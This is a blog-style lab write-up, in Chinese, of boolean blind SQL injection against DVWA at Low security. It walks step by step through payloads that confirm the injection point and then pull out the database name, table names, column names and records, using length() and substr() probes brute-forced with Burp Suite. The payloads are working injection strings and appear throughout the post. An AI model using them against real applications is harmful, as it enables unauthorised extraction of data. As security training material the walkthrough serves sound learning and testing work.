布尔盲注 DVWA SQL Injection(Blind) Low

1. 判断是否存在注入

当输入1' and '1'='1 时,页面返回User ID exists in the database.

当输入1'and'1'='2 时,页面返回User ID is MISSING from the database.

由此判断存在布尔盲注注入点

2. 获取数据库名

2.1获取库名长度

使用database() 可以获取数据库名称,但是不能显示出来;
因此,我们使用length()计算数据库名称字符串长度,然后通过=,>,< 运算符可以判断出数据库的长度是否正确

长度判断正确数据应为0,返回false,对应的是错误信息

BP 爆破数据库长度

由此判断出数据库名的长度为4

2.2 获取数据库名

依据数据库名的长度,逐个破解每个位置的字符名称
BP爆破表名,pos1遍历数据库名称长度,pos2 遍历所有可能为数据库名称的字符


最终获得数据库名称'dvwa'

3. 获取表名

3.1.获取表的数量

1.输入1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2%23
时页面返回"User ID exists in the database.",说明 dvwa 数据库中有两个数据表。
SELECT first_name, last_name FROM users WHERE user_id = '1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2#';

3.2.获取表名长度

1.获取第一个表名的长度,
先查询数据表名,然后再获取表名的长度
输入 1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9%23 时,页面返回"User ID exists in the database.",说明第一个表名长度为9。
SELECT first_name, last_name FROM users WHERE user_id = '1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9#';  (9为payload爆破点, 数字)

2.获取第二个表名长度
当输入 1'and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5%23时,页面返回"User ID exists in the database.",说明第二个表名长度为5。

3.3 获取具体表名

1.获取第一个表名字的第一个字母,当输入 1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'# 时,页面返回"User lD exists in the database.", 说明第一个字母是g。
SELECT first_name, last_name FROM users WHERE user_id = '1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'#';

1 为表长度列表 爆破点
g为指定位表名字符爆破点

2. 同时爆破全部表格名称

SELECT first_name, last_name FROM users WHERE user_id = '1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'#';

0为第n个表格爆破点
1为表长度列表 爆破点
g为指定位表名字符爆破点

4.获取字段名

SELECT first_name, last_name FROM users WHERE user_id = '1' and substr((select column_name from information_schema.columns where table_name='guestbook' and table_schema='dvwa' limit 0,1),1,1)='c'# ';

0为第n个列爆破点
1为列长度列表 爆破点
c为指定位列名字符爆破点

依次改变 substr 函数截取的起始位直到10即可完整得到第一个列名;要获取第二个列名,只需要修改 1imit 的起始位即可

同时对3个爆破点爆破,获得3个列名

5. 获取记录

SELECT first_name, last_name FROM users WHERE user_id = '1' and substr((select comment_id from guestbook limit 0,1),1,1)='e'# ';

0 为指定表格中有n 行记录,n 为数字
1 为指定表格的某个记录的长度m,m 为数字
e 为指定表格中某个记录的指定位置的字符

使用上面的规则可以一次性爆破出数据表内容

posted @ 2025-02-17 23:32  小圣爱学习  阅读(139)  评论(0)    收藏  举报